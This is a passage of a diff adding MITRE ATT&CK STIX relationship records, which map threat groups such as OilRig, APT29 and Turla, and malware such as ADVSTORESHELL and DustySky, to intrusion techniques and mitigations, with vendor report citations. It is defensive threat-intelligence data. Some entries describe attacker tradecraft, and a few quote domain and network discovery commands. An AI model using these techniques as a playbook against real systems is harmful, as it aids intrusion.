+ "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111) to register a scheduled task to execute malware during lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious attachments or links that require users to execute a file or macro to infect the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5b078c2e-229d-4ef0-8e46-2164354caee9", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.851Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to open a remote shell and run basic commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f8a90328-b7ee-474a-9773-f5bf501defd3", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--eb2689d1-4061-4f8c-aa95-894bf75ecfe4", + "source_ref": "course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0", + "modified": "2019-10-11T22:45:52.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net group /domain, net localgroup administrators, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to find group permission settings on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d39e3775-9221-4020-b826-edc111e36c7c", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.802Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.786Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from [Empire](https://attack.mitre.org/software/S0363)'s PSInject. [Turla](https://attack.mitre.org/groups/G0010) has also used PowerShell scripts to load and execute malware in memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ada9885f-276a-4f97-859d-1bb9f73b58c1", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.769Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5", + "source_ref": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97", + "modified": "2019-07-25T12:34:04.651Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can delete files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) uses [SDelete](https://attack.mitre.org/software/S0195) to clean up the environment and attempt to prevent detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.730Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "modified": "2019-04-22T15:06:12.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has updated and modified its malware, resulting in different hash values that evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Black Vine", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can copy files to remote machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--95618672-6f7f-4055-9c96-29f75e276d5b", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89", + "source_ref": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "modified": "2019-10-08T20:59:13.825Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.014Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--632e3144-8785-41c4-a937-7e11139b2ae1", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RAR to compress collected data before [Exfiltration](https://attack.mitre.org/tactics/TA0010).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-10-01T14:35:15.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses Windows services typically named \"javamtsup\" for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell scripts to evade defenses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.145Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + }, + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--695a988e-daa3-47d7-bf8d-3539ab992f80", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[DustySky](https://attack.mitre.org/software/S0062) contains a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5e2e672a-02d4-4510-a629-942d44a558f1", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) can upload and download files to the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6d17cbbf-dd7e-456c-ad9e-e084c95efdaf", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses ipconfig /all and route PRINT to identify network adapter and interface information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4053d6f5-e594-4b52-96a2-2b7c0fa7d332", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "description": "Some variants of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates new services to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--72e36412-4427-479b-bc8e-e8d53e997587", + "source_ref": 